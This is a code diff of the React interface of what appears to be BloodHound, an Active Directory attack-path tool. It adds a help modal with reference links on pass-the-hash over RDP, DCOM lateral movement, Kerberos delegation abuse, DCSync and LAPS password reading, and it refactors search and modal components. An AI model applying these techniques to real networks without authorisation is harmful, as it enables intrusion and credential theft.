+            let text = `<a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1</a>
+            <a href="https://www.youtube.com/watch?v=z8thoG7gPd0">https://www.youtube.com/watch?v=z8thoG7gPd0</a>`;
+            formatted = text;
+        } else if (edge.label === "WriteOwner") {
+            let text = `<a href="https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1</a>
+            <a href="http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm">http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm</a>`;
+            formatted = text;
+        } else if (edge.label === "CanRDP") {
+            let text = `<a href="https://michael-eder.net/post/2018/native_rdp_pass_the_hash/">https://michael-eder.net/post/2018/native_rdp_pass_the_hash/</a>
+            <a href="https://www.kali.org/penetration-testing/passing-hash-remote-desktop/">https://www.kali.org/penetration-testing/passing-hash-remote-desktop/</a>`;
+            formatted = text;
+        } else if (edge.label === "ExecuteDCOM") {
+            let text = `<a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/">https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/</a> 
+            <a href="https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/">https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/</a>
+            <a href="https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/">https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/</a>
+            <a href="https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/">https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/</a>
+            <a href="https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom ">https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom </a>
+            <a href="https://www.cybereason.com/blog/dcom-lateral-movement-techniques">https://www.cybereason.com/blog/dcom-lateral-movement-techniques</a>
+            <a href="https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/">https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/</a>
+            <a href="https://attack.mitre.org/wiki/Technique/T1175">https://attack.mitre.org/wiki/Technique/T1175</a>
+            
+            <h4>Invoke-DCOM</h4>
+            <a href="https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1">https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1</a>
+            
+            <h4>LethalHTA</h4>
+            <a href="https://codewhitesec.blogspot.com/2018/07/lethalhta.html">https://codewhitesec.blogspot.com/2018/07/lethalhta.html</>
+            <a href="https://github.com/codewhitesec/LethalHTA/ ">https://github.com/codewhitesec/LethalHTA/ </a>`;
+            formatted = text;
+        } else if (edge.label === "AllowedToDelegate") {
+            let text = `<a href="https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/">https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/</a>
+            <a href="http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/">http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/</a>
+            <a href="https://twitter.com/gentilkiwi/status/806643377278173185">https://twitter.com/gentilkiwi/status/806643377278173185</a>
+            <a href="https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more">https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more</a>`;
+            formatted = text;
+        } else if (edge.label === "GetChanges") {
+            let text = `<a href="https://adsecurity.org/?p=1729">https://adsecurity.org/?p=1729</a>
+            <a href="http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/">http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/</a>`;
+            formatted = text;
+        } else if (edge.label === "GetChangesAll") {
+            let text = `<a href="https://adsecurity.org/?p=1729">https://adsecurity.org/?p=1729</a>
+            <a href="http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/">http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/</a>`;
+            formatted = text;
+        } else if (edge.label === "ReadLAPSPassword") {
+            let text = `<a href="https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf">https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf</a>
+            <a href="https://adsecurity.org/?p=3164">https://adsecurity.org/?p=3164</a>`;
+            formatted = text;
+        } else if (edge.label === "Contains") {
+            formatted = `<a href="https://wald0.com/?p=179">https://wald0.com/?p=179</a>
+            <a href="https://blog.cptjesus.com/posts/bloodhound15">https://blog.cptjesus.com/posts/bloodhound15</a>`;
+        } else if (edge.label === "GpLink") {
+            formatted = `<a href="https://wald0.com/?p=179">https://wald0.com/?p=179</a>
+            <a href="https://blog.cptjesus.com/posts/bloodhound15">https://blog.cptjesus.com/posts/bloodhound15</a>`;
+        }
+
+        this.setState({ referencesTabContent: { __html: formatted } })
+    }
+
+    openModal(edge, source, target) {
+        this.createGeneralInfoTab(edge, source, target);
+        this.createAbuseInfoTab(edge, source, target);
+        this.createOpsecTab(edge, source, target);
+        this.createReferencesTab(edge, source, target);
+        this.setState({ open: true, edgeType: edge.label });
+    }
+
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="HelpHeader"
+                className="help-modal-width"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="HelpHeader">Help: {this.state.edgeType}</Modal.Title>
+                </Modal.Header>
+
+                <Modal.Body>
+                    <Tabs defaultActiveKey={1} id="help-tab-container" justified>
+                        <Tab eventKey={1} title="Info" dangerouslySetInnerHTML={this.state.infoTabContent} />
+                        <Tab eventKey={2} title="Abuse Info" dangerouslySetInnerHTML={this.state.abuseTabContent} />
+                        <Tab eventKey={3} title="Opsec Considerations" dangerouslySetInnerHTML={this.state.opsecTabContent} />
+                        <Tab eventKey={4} title="References" dangerouslySetInnerHTML={this.state.referencesTabContent} />
+                    </Tabs>
+                </Modal.Body>
+
+                <Modal.Footer>
+                    <button
+                        type="button"
+                        className="btn btn-primary"
+                        onClick={this.closeModal.bind(this)}
+                    >
+                        Close
+                    </button>
+                </Modal.Footer>
+            </Modal>
+        );
+    }
+}
diff --git a/src/components/Modals/LogoutModal.jsx b/src/components/Modals/LogoutModal.jsx
index 563f0c4..ff9aa96 100644
--- a/src/components/Modals/LogoutModal.jsx
+++ b/src/components/Modals/LogoutModal.jsx
@@ -1,63 +1,68 @@
-import React, { Component } from 'react';
-import ReactDOM from 'react-dom';
-import Login from '../Float/Login'
-
-var Modal = require('react-bootstrap').Modal;
+import React, { Component } from "react";
 
+import { Modal } from "react-bootstrap";
 
 export default class LogoutModal extends Component {
-	constructor(){
-		super();
-		this.state = {
-			open: false
-		}
-	}
+    constructor() {
+        super();
+        this.state = {
+            open: false
+        };
+    }
 
-	closeModal(){
-		this.setState({ open: false })
-	}
+    closeModal() {
+        this.setState({ open: false });
+    }
 
-	closeAndLogout(){
-		conf.delete('databaseInfo')
-		appStore.databaseInfo = null;
-		this.setState({ open: false })
-		emitter.emit('doLogout');
-		driver.close()
-		renderEmit.emit('logout')
-	}
+    closeAndLogout() {
+        conf.delete("databaseInfo");
+        appStore.databaseInfo = null;
+        this.setState({ open: false });
+        emitter.emit("doLogout");
+        driver.close();
+        renderEmit.emit("logout");
+    }
 
-	openModal(){
-		this.setState({open: true})
-	}
+    openModal() {
+        this.setState({ open: true });
+    }
 
-	componentDidMount() {
-		emitter.on('showLogout', this.openModal.bind(this))		
-	}
+    componentDidMount() {
+        emitter.on("showLogout", this.openModal.bind(this));
+    }
 
-	render() {
-		return (
-			<Modal
-				show={this.state.open}
-				onHide={this.closeModal.bind(this)}
-				aria-labelledby="LogoutModalHeader">
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="LogoutModalHeader"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="LogoutModalHeader">Logout</Modal.Title>
+                </Modal.Header>
 
-				<Modal.Header closeButton={true}>
-					<Modal.Title id="LogoutModalHeader">Logout</Modal.Title>
-				</Modal.Header>
+                <Modal.Body>
+                    <p>Are you sure you want to logout?</p>
+                </Modal.Body>
 
-				<Modal.Body>
-					<p>Are you sure you want to logout?</p>
-				</Modal.Body>
-
-				<Modal.Footer>
-					<button type="button" className="btn btn-danger" onClick={this.closeAndLogout.bind(this)}>
-						Logout
-					</button>
-					<button type="button" className="btn btn-primary" onClick={this.closeModal.bind(this)}>
-						Cancel
-					</button>
-				</Modal.Footer>
-			</Modal>
-		);
-	}
+                <Modal.Footer>
+                    <button
+                        type="button"
+                        className="btn btn-danger"
+                        onClick={this.closeAndLogout.bind(this)}
+                    >
+                        Logout
+                    </button>
+                    <button
+                        type="button"
+                        className="btn btn-primary"
+                        onClick={this.closeModal.bind(this)}
+                    >
+                        Cancel
+                    </button>
+                </Modal.Footer>
+            </Modal>
+        );
+    }
 }
diff --git a/src/components/Modals/SessionClearModal.jsx b/src/components/Modals/SessionClearModal.jsx
index dcaf8f9..7717683 100644
--- a/src/components/Modals/SessionClearModal.jsx
+++ b/src/components/Modals/SessionClearModal.jsx
@@ -1,54 +1,68 @@
-import React, { Component } from 'react';
-import { clearSessions } from 'utils'
+import React, { Component } from "react";
+import { clearSessions } from "utils";
 
-var Modal = require('react-bootstrap').Modal;
+import { Modal } from "react-bootstrap";
 
 export default class SessionClearModal extends Component {
-	constructor(){
-		super();
+    constructor() {
+        super();
 
-		this.state = {
-			open: false
-		}
-	}
+        this.state = {
+            open: false
+        };
+    }
 
-	closeModal(){
-		this.setState({open: false})
-	}
+    closeModal() {
+        this.setState({ open: false });
+    }
 
-	openModal(){
-		this.setState({open: true})
-	}
+    openModal() {
+        this.setState({ open: true });
+    }
 
-	closeAndClear(){
-		this.setState({ open: false })
+    closeAndClear() {
+        this.setState({ open: false });
         clearSessions();
-	}
+    }
 
-	componentDidMount(){
-		emitter.on('openSessionClearModal', this.openModal.bind(this))
-	}
+    componentDidMount() {
+        emitter.on("openSessionClearModal", this.openModal.bind(this));
+    }
 
-	render() {
-		return (
-			<Modal
-				show={this.state.open}
-				onHide={this.closeModal.bind(this)}
-				aria-labelledby="SessionModalHeader">
+    render() {
+        return (
+            <Modal
+                show={this.state.open}
+                onHide={this.closeModal.bind(this)}
+                aria-labelledby="SessionModalHeader"
+            >
+                <Modal.Header closeButton={true}>
+                    <Modal.Title id="SessionModalHeader">
+                        Clear Sessions
+                    </Modal.Title>
+                </Modal.Header>
 
-				<Modal.Header closeButton={true}>
-					<Modal.Title id="SessionModalHeader">Clear Sessions</Modal.Title>
-				</Modal.Header>
+                <Modal.Body>
+                    <p>Are you sure you want to clear sessions?</p>
+                </Modal.Body>
 
-				<Modal.Body>
-					<p>Are you sure you want to clear sessions?</p>
-				</Modal.Body>
-
-				<Modal.Footer>
-					<button onClick={this.closeAndClear.bind(this)} type="button" className="btn btn-danger">Clear Sessions</button>
-					<button onClick={this.closeModal.bind(this)} type="button" className="btn btn-primary">Cancel</button>
-				</Modal.Footer>
-			</Modal>
-		);
-	}
+                <Modal.Footer>
+                    <button
+                        onClick={this.closeAndClear.bind(this)}
+                        type="button"
+                        className="btn btn-danger"
+                    >
+                        Clear Sessions
+                    </button>
+                    <button
+                        onClick={this.closeModal.bind(this)}
+                        type="button"
+                        className="btn btn-primary"
+                    >
+                        Cancel
+                    </button>
+                </Modal.Footer>
+            </Modal>
+        );
+    }
 }
diff --git a/src/components/RawQuery.jsx b/src/components/RawQuery.jsx
index e238788..1833bbd 100644
--- a/src/components/RawQuery.jsx
+++ b/src/components/RawQuery.jsx
@@ -1,66 +1,88 @@
-import React, { Component } from 'react';
+import React, { Component } from "react";
 
 export default class RawQuery extends Component {
-	constructor(){
-		super();
-		this.state = {
-			val : "",
-			open: false
-		}
-	}
+    constructor() {
+        super();
+        this.state = {
+            val: "",
+            open: false,
+            darkMode: false
+        };
+    }
 
-	_onChange(event){
-		this.setState({
-			val:event.target.value
-		})
-	}
+    componentWillMount() {
+        emitter.on("setRawQuery", this._setQueryFromEvent.bind(this));
+        emitter.on("toggleDarkMode", this.toggleDarkMode.bind(this));
+    }
 
-	_onKeyUp(e){
-		var key = e.keyCode ? e.keyCode : e.which
+    componentDidMount() {
+        $(this.refs.input).slideToggle(0);
+        this.toggleDarkMode(appStore.performance.darkMode);
+    }
 
-		if (key === 13){
-			emitter.emit('query', this.state.val)
-		}
-	}
+    toggleDarkMode(enabled){
+        this.setState({darkMode: enabled});
+    }
 
-	
-	componentWillMount() {
-		emitter.on('setRawQuery', this._setQueryFromEvent.bind(this))
-	}
-	
-	componentDidMount() {
-		$(this.refs.input).slideToggle(0)
-	}
+    _onChange(event) {
+        this.setState({
+            val: event.target.value
+        });
+    }
 
-	_toggle(){
-		$(this.refs.input).slideToggle()
-		this.setState({
-			open: !this.state.open
-		})
-	}
+    _onKeyUp(e) {
+        var key = e.keyCode ? e.keyCode : e.which;
 
-	_setQueryFromEvent(query){
-		this.setState({val:query});
-	}
+        if (key === 13) {
+            emitter.emit("query", this.state.val);
+        }
+    }
 
-	render() {
-		return (
-			<div className="bottomdiv">
-				<button onClick={this._toggle.bind(this)} className="slideupbutton">
-					<span className={this.state.open ? "glyphicon glyphicon-chevron-down" : "glyphicon glyphicon-chevron-up"} />
-						Raw Query
-					<span className={this.state.open ? "glyphicon glyphicon-chevron-down" : "glyphicon glyphicon-chevron-up"} />
-				</button>
-				<input 
-					ref="input"
-					type="text" 
-					onChange={this._onChange.bind(this)} 
-					value={this.state.val} 
-					onKeyUp={this._onKeyUp.bind(this)} 
-					className="form-control queryInput" 
-					autoComplete="off" 
-					placeholder="Enter a raw query..." />
-			</div>
-		);
-	}
+    _toggle() {
+        $(this.refs.input).slideToggle();
+        this.setState({
+            open: !this.state.open
+        });
+    }
+
+    _setQueryFromEvent(query) {
+        this.setState({ val: query });
+    }
+
+    render() {
+        return (
+            <div className={this.state.darkMode ? "bottomdiv bottomdiv-dark" : "bottomdiv"}>
+                <button
+                    onClick={this._toggle.bind(this)}
+                    className="slideupbutton"
+                >
+                    <span
+                        className={
+                            this.state.open
+                                ? "glyphicon glyphicon-chevron-down"
+                                : "glyphicon glyphicon-chevron-up"
+                        }
+                    />
+                    Raw Query
+                    <span
+                        className={
+                            this.state.open
+                                ? "glyphicon glyphicon-chevron-down"
+                                : "glyphicon glyphicon-chevron-up"
+                        }
+                    />
+                </button>
+                <input
+                    ref="input"
+                    type="text"
+                    onChange={this._onChange.bind(this)}
+                    value={this.state.val}
+                    onKeyUp={this._onKeyUp.bind(this)}
+                    className="form-control queryInput"
+                    autoComplete="off"
+                    placeholder="Enter a raw query..."
+                />
+            </div>
+        );
+    }
 }
diff --git a/src/components/SearchContainer/SearchContainer.jsx b/src/components/SearchContainer/SearchContainer.jsx
index f7f5e79..b08af2c 100644
--- a/src/components/SearchContainer/SearchContainer.jsx
+++ b/src/components/SearchContainer/SearchContainer.jsx
@@ -1,122 +1,99 @@
-import React, { Component } from 'react';
-import GlyphiconSpan from '../GlyphiconSpan';
-import Icon from '../Icon';
-import TabContainer from './TabContainer';
-import {escapeRegExp} from 'utils';
+import React, { Component } from "react";
+import GlyphiconSpan from "../GlyphiconSpan";
+import Icon from "../Icon";
+import TabContainer from "./TabContainer";
+import { buildSearchQuery, buildSelectQuery } from "utils";
 
 export default class SearchContainer extends Component {
-    constructor(props){
+    constructor(props) {
         super(props);
 
         this.state = {
-            mainPlaceholder:"Start typing to search for a node...",
+            mainPlaceholder: "Start typing to search for a node...",
             pathfindingIsOpen: false,
             mainValue: "",
-            pathfindValue: ""
+            pathfindValue: "",
+            edgeincluded: appStore.edgeincluded,
+            darkMode: false
         };
     }
 
     componentDidMount() {
         jQuery(this.refs.pathfinding).slideToggle(0);
         jQuery(this.refs.tabs).slideToggle(0);
-        emitter.on('userNodeClicked', this.openNodeTab.bind(this));
-        emitter.on('groupNodeClicked', this.openNodeTab.bind(this));
-        emitter.on('computerNodeClicked', this.openNodeTab.bind(this));
-        emitter.on('domainNodeClicked', this.openNodeTab.bind(this));
-        emitter.on('gpoNodeClicked', this.openNodeTab.bind(this));
-        emitter.on('ouNodeClicked', this.openNodeTab.bind(this));
-        emitter.on('setStart', function (payload) {
-            jQuery(this.refs.searchbar).val(payload);
-        }.bind(this));
+        jQuery(this.refs.edgeFilter).animate(
+            {
+                height: "toggle",
+                width: "toggle"
+            },
+            "fast"
+        );
 
-        emitter.on('setEnd', function (payload) {
-            jQuery(this.refs.pathbar).val(payload);
-            var e = jQuery(this.refs.pathfinding);
-            if (! e.is(":visible")) {
-                this.setState({pathfindingIsOpen: true});
-                e.slideToggle();
-            }
-        }.bind(this));
+        this.toggleDarkMode(appStore.performance.darkMode);
+
+        emitter.on("userNodeClicked", this.openNodeTab.bind(this));
+        emitter.on("groupNodeClicked", this.openNodeTab.bind(this));
+        emitter.on("computerNodeClicked", this.openNodeTab.bind(this));
+        emitter.on("domainNodeClicked", this.openNodeTab.bind(this));
+        emitter.on("gpoNodeClicked", this.openNodeTab.bind(this));
+        emitter.on("ouNodeClicked", this.openNodeTab.bind(this));
+        emitter.on("toggleDarkMode", this.toggleDarkMode.bind(this));
+        emitter.on(
+            "setStart",
+            function (payload) {
+                appStore.currentTooltip.close()
+                jQuery(this.refs.searchbar).val(payload);
+            }.bind(this)
+        );
+
+        emitter.on(
+            "setEnd",
+            function (payload) {
+                appStore.currentTooltip.close()
+                jQuery(this.refs.pathbar).val(payload);
+                var e = jQuery(this.refs.pathfinding);
+                if (!e.is(":visible")) {
+                    this.setState({ pathfindingIsOpen: true });
+                    e.slideToggle();
+                }
+            }.bind(this)
+        );
 
         jQuery(this.refs.searchbar).typeahead({
             source: function (query, process) {
                 let session = driver.session();
-                if (query.includes(':')){
-                    let sp = query.split(':');
-                    let type = sp[0];
-                    let term = sp[1];
-                    term = escapeRegExp(term);
-                    let t = '(?i).*' + term + '.*';
-                    
-                    let labels = ["OU","GPO","User","Computer","Group","Domain"];
-                    $.each(labels, function(_, l){
-                        if (l.toLowerCase() === type.toLowerCase()){
-                            type = l;
-                        }
-                    });
+                let [statement, term] = buildSearchQuery(query);
 
+                session.run(statement, { name: term }).then(x => {
                     let data = [];
-                    session.run("MATCH (n:{}) WHERE n.name =~ {name} OR n.guid =~ {name} RETURN n LIMIT 10".format(type), { name: t })
-                        .then(function (results) {
-                            let data = [];
-                            let map = {};
-                            let index = 0;
+                    let map = {};
+                    $.each(x.records, (index, record) => {
+                        let props = record._fields[0].properties;
+                        Object.assign(props, {
+                            type: record._fields[0].labels[0]
+                        });
+                        map[index] = props;
+                        data.push(`${props.name}#${index}`);
+                    })
 
-                            $.each(results.records, function (index, record) {
-                                let props = {};
-                                props = record._fields[0].properties;
-                                Object.assign(props, {
-                                    type:record._fields[0].labels[0]
-                                });
-                                map[index] = props;
-                                data.push("{}#{}".format(props.name, index));
-                                index++;
-                            });
-                            this.map = map;
-                            session.close();
-                            return process(data);
-                        }.bind(this));
-                    
-                }else{
-                    let q = escapeRegExp(query);
-                    let t = '(?i).*' + q + '.*';
-                    let data = [];
-                    session.run("MATCH (n) WHERE n.name =~ {name} OR n.guid =~ {name} RETURN n LIMIT 10", { name: t })
-                        .then(function (results) {
-                            let data = [];
-                            let map = {};
-                            let index = 0;
-
-                            $.each(results.records, function (index, record) {
-                                let props = {};
-                                props = record._fields[0].properties;
-                                Object.assign(props, {
-                                    type: record._fields[0].labels[0]
-                                });
-                                map[index] = props;
-                                data.push("{}#{}".format(props.name, index));
-                                index++;
-                            });
-                            this.map = map;
-                            session.close();
-                            return process(data);
-                        }.bind(this));
-                }
-                
+                    this.map = map;
+                    session.close();
+                    return process(data);
+                })
             },
             afterSelect: function (selected) {
                 if (!this.state.pathfindingIsOpen) {
                     let props = {};
                     let statement = "";
-                    if (selected.type === 'OU'){
-                        statement =  "MATCH (n:{}) WHERE n.guid = {guid} RETURN n".format(selected.type);
-                        props = {guid: selected.guid};
-                    }else{
-                        statement = "MATCH (n:{}) WHERE n.name = {name} RETURN n".format(selected.type);
+                    if (selected.type === "OU") {
+                        statement = `MATCH (n:${selected.type}) WHERE n.guid = {guid} RETURN n`
+                        props = { guid: selected.guid };
+                    } else {
+                        statement = `MATCH (n:${selected.type}) WHERE n.name = {name} RETURN n`
                         props = { name: selected.name };
                     }
-                    
-                    emitter.emit('searchQuery', statement, props);
+
+                    emitter.emit("searchQuery", statement, props);
                 } else {
                     let start = jQuery(this.refs.searchbar).val();
                     let end = jQuery(this.refs.pathbar).val();
@@ -129,263 +106,12 @@ export default class SearchContainer extends Component {
                         return;
                     }
 
-                    let query = "";
+                    let [query, startTerm, endTerm] = buildSelectQuery(start, end);
 
-                    let labels = ["OU", "GPO", "User", "Computer", "Group", "Domain"];
-                    if (start.includes(":")) {
-                        let spl = start.split(':');
-                        let type = spl[0];
-                        let search = spl[1];
-                        start = search;
-
-                        $.each(labels, function (_, l) {
-                            if (l.toLowerCase() === type.toLowerCase()) {
-                                type = l;
-                            }
-                        });
-
-                        if (type === 'OU' || type === 'GPO') {
-                            query += "MATCH (n:{}) WHERE n.name =~ {aprop} OR n.guid =~ {aprop}".format(type);
-                        } else {
-                            query += "MATCH (n:{}) WHERE n.name =~ {aprop}".format(type);
-                        }
-                    } else {
-                        query += "MATCH (n) WHERE n.name =~ {aprop}";
-                    }
-
-                    query += " WITH n ";
-
-                    if (end.includes(":")) {
-                        let spl = end.split(':');
-                        let type = spl[0];
-                        let search = spl[1];
-                        end = search;
-
-                        $.each(labels, function (_, l) {
-                            if (l.toLowerCase() === type.toLowerCase()) {
-                                type = l;
-                            }
-                        });
-
-                        if (type === 'OU' || type === 'GPO') {
-                            query += "MATCH (m:{}) WHERE m.name =~ {bprop} OR m.guid =~ {bprop}".format(type);
-                        } else {
-                            query += "MATCH (m:{}) WHERE m.name =~ {bprop}".format(type);
-                        }
-                    } else {
-                        query += "MATCH (m) WHERE m.name =~ {bprop}";
-                    }
-
-                    query += " WITH m,n MATCH p=allShortestPaths((n)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(m)) RETURN p";
-
-                    emitter.emit('query', query, { aprop: start, bprop: end });
+                    emitter.emit("query", query, { aprop: startTerm, bprop: endTerm }, startTerm, endTerm);
                 }
             }.bind(this),
             autoSelect: false,
-            updater: function (item) {
-                let spl = item.split("#");
-                let name = spl[0];
-                let index = spl[1];
-                let obj = this.map[index];
-                return obj;
-            },
-            matcher: function(item){
-                let spl = item.split("#");
-                let name = spl[0];
-                let index = spl[1];
-                let obj = this.map[index];
-
-                let searchTerm = this.query;
-                if (this.query.includes(":")){
-                    searchTerm = searchTerm.split(":")[1];
-                }
-                if (name.toLowerCase().indexOf(searchTerm.toLowerCase()) !==-1){
-                    return true;
-                }else if (obj.hasOwnProperty("guid") && obj['guid'].toLowerCase().indexOf(searchTerm.toLowerCase()) !== -1){
-                    return true;
-                }else{
-                    return false;
-                }
-            },
-            highlighter: function (item) {
-                let spl = item.split("#");
-                let name = spl[0];
-                let index = spl[1];
-                let obj = this.map[index];
-
-                let searchTerm = this.query;
-                if (this.query.includes(":")) {
-                    searchTerm = searchTerm.split(":")[1];
-                }
-
-                let type = obj.type;
-                let icon = "";
-
-                switch (type){
-                    case "Group":
-                         icon = "<i style=\"float:right\" class=\"fa fa-users\"></i>";
-                         break;
-                     case "User":
-                         icon = "<i style=\"float:right\" class=\"fa fa-user\"></i>";
-                         break;
-                     case "Computer":
-                         icon = "<i style=\"float:right\" class=\"fa fa-desktop\"></i>";
-                         break;
-                     case "Domain":
-                         icon = "<i style=\"float:right\" class=\"fa fa-globe\"></i>";
-                         break;
-                     case "GPO":
-                         icon = "<i style=\"float:right\" class=\"fa fa-list\"></i>";
-                         break;
-                     case "OU":
-                         icon = "<i style=\"float:right\" class=\"fa fa-sitemap\"></i>";
-                         break;
-                }
-
-                let html = '<div>{}'.format(name);
-
-                if (searchTerm !== ""){
-                    let reQuery = new RegExp('(' + searchTerm + ')', "gi");
-
-                    html = html.replace(reQuery, "<strong>$1</strong>");
-                }
-                html += icon + "</div>";
-                let jElem = $(html);
-
-                return jElem.html();
-            }
-        });
-
-        jQuery(this.refs.pathbar).typeahead({
-            source: function (query, process) {
-                let session = driver.session();
-                if (query.includes(':')) {
-                    let sp = query.split(':');
-                    let type = sp[0];
-                    let term = sp[1];
-                    term = escapeRegExp(term);
-                    let t = '(?i).*' + term + '.*';
-
-                    let labels = ["OU", "GPO", "User", "Computer", "Group", "Domain"];
-                    $.each(labels, function (_, l) {
-                        if (l.toLowerCase() === type.toLowerCase()) {
-                            type = l;
-                        }
-                    });
-
-                    let data = [];
-                    session.run("MATCH (n:{}) WHERE n.name =~ {name} OR n.guid =~ {name} RETURN n LIMIT 10".format(type), { name: t })
-                        .then(function (results) {
-                            let data = [];
-                            let map = {};
-                            let index = 0;
-
-                            $.each(results.records, function (index, record) {
-                                let props = {};
-                                props = record._fields[0].properties;
-                                Object.assign(props, {
-                                    type: record._fields[0].labels[0]
-                                });
-                                map[index] = props;
-                                data.push("{}#{}".format(props.name, index));
-                                index++;
-                            });
-                            this.map = map;
-                            session.close();
-                            return process(data);
-                        }.bind(this));
-
-                } else {
-                    let q = escapeRegExp(query);
-                    let t = '(?i).*' + q + '.*';
-                    let data = [];
-                    session.run("MATCH (n) WHERE n.name =~ {name} OR n.guid =~ {name} RETURN n LIMIT 10", { name: t })
-                        .then(function (results) {
-                            let data = [];
-                            let map = {};
-                            let index = 0;
-
-                            $.each(results.records, function (index, record) {
-                                let props = {};
-                                props = record._fields[0].properties;
-                                Object.assign(props, {
-                                    type: record._fields[0].labels[0]
-                                });
-                                map[index] = props;
-                                data.push("{}#{}".format(props.name, index));
-                                index++;
-                            });
-                            this.map = map;
-                            session.close();
-                            return process(data);
-                        }.bind(this));
-                }
-
-            },
-            afterSelect: function (selected) {
-                let start = jQuery(this.refs.searchbar).val();
-                let end = jQuery(this.refs.pathbar).val();
-
-                if (start === "" || end === "") {
-                    return;
-                }
-
-                if (start === end) {
-                    return;
-                }
-
-                let query = "";
-
-                let labels = ["OU", "GPO", "User", "Computer", "Group", "Domain"];
-                if (start.includes(":")) {
-                    let spl = start.split(':');
-                    let type = spl[0];
-                    let search = spl[1];
-                    start = search;
-
-                    $.each(labels, function (_, l) {
-                        if (l.toLowerCase() === type.toLowerCase()) {
-                            type = l;
-                        }
-                    });
-
-                    if (type === 'OU' || type === 'GPO') {
-                        query += "MATCH (n:{}) WHERE n.name =~ {aprop} OR n.guid =~ {aprop}".format(type);
-                    } else {
-                        query += "MATCH (n:{}) WHERE n.name =~ {aprop}".format(type);
-                    }
-                } else {
-                    query += "MATCH (n) WHERE n.name =~ {aprop}";
-                }
-
-                query += " WITH n ";
-
-                if (end.includes(":")) {
-                    let spl = end.split(':');
-                    let type = spl[0];
-                    let search = spl[1];
-                    end = search;
-
-                    $.each(labels, function (_, l) {
-                        if (l.toLowerCase() === type.toLowerCase()) {
-                            type = l;
-                        }
-                    });
-
-                    if (type === 'OU' || type === 'GPO') {
-                        query += "MATCH (m:{}) WHERE m.name =~ {bprop} OR m.guid =~ {bprop}".format(type);
-                    } else {
-                        query += "MATCH (m:{}) WHERE m.name =~ {bprop}".format(type);
-                    }
-                } else {
-                    query += "MATCH (m) WHERE m.name =~ {bprop}";
-                }
-
-                query += " WITH m,n MATCH p=allShortestPaths((n)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(m)) RETURN p";
-
-                emitter.emit('query', query, { aprop: start, bprop: end });
-            }.bind(this),
-            autoSelect: false,
             updater: function (item) {
                 let spl = item.split("#");
                 let index = spl[1];
@@ -402,9 +128,16 @@ export default class SearchContainer extends Component {
                 if (this.query.includes(":")) {
                     searchTerm = searchTerm.split(":")[1];
                 }
-                if (name.toLowerCase().indexOf(searchTerm.toLowerCase()) !== -1) {
+                if (
+                    name.toLowerCase().indexOf(searchTerm.toLowerCase()) !== -1
+                ) {
                     return true;
-                } else if (obj.hasOwnProperty("guid") && obj['guid'].toLowerCase().indexOf(searchTerm.toLowerCase()) !== -1) {
+                } else if (
+                    obj.hasOwnProperty("guid") &&
+                    obj["guid"]
+                        .toLowerCase()
+                        .indexOf(searchTerm.toLowerCase()) !== -1
+                ) {
                     return true;
                 } else {
                     return false;
@@ -426,29 +159,33 @@ export default class SearchContainer extends Component {
 
                 switch (type) {
                     case "Group":
-                        icon = "<i style=\"float:right\" class=\"fa fa-users\"></i>";
+                        icon =
+                            '<i style="float:right" class="fa fa-users"></i>';
                         break;
                     case "User":
-                        icon = "<i style=\"float:right\" class=\"fa fa-user\"></i>";
+                        icon = '<i style="float:right" class="fa fa-user"></i>';
                         break;
                     case "Computer":
-                        icon = "<i style=\"float:right\" class=\"fa fa-desktop\"></i>";
+                        icon =
+                            '<i style="float:right" class="fa fa-desktop"></i>';
                         break;
                     case "Domain":
-                        icon = "<i style=\"float:right\" class=\"fa fa-globe\"></i>";
+                        icon =
+                            '<i style="float:right" class="fa fa-globe"></i>';
                         break;
                     case "GPO":
-                        icon = "<i style=\"float:right\" class=\"fa fa-list\"></i>";
